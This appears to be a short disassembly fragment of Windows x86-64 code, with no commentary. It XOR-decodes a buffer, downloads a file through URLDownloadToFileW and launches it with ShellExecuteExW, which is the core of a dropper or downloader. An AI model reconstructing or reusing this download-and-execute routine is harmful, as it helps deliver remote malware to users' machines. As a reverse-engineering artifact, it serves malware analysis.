movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
add r8d, ebx
lea r9, [r9 + 2]
cmp r8d, 0xf
jl 0x140033fef
lea rdx, [rbp - 0x79]
lea rcx, [rbp + 0x17]
call fcn.14003cf30
lea r8, [rbp + 0x17]
cmp qword [rbp + 0x2f], 7
cmova r8, qword [rbp + 0x17]
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x14003408c
mov dword [rbp - 0x59], reloc.WS2_32.dll_WSASetLastError
xor edx, edx
lea r8d, [rdx + 0x6c]
lea rcx, [rbp - 0x55]
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x17]
cmp qword [rbp + 0x2f], 7
cmova rax, qword [rbp + 0x17]
mov qword [rbp - 0x41], rax
mov qword [rbp - 0x31], rdi
mov dword [rbp - 0x29], r14d
lea rcx, [rbp - 0x59]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x14003408f
mov bl, r14b
lea rcx, [rbp + 0x17]
call fcn.14003d7c4
mov al, bl
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.1400a07d0
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret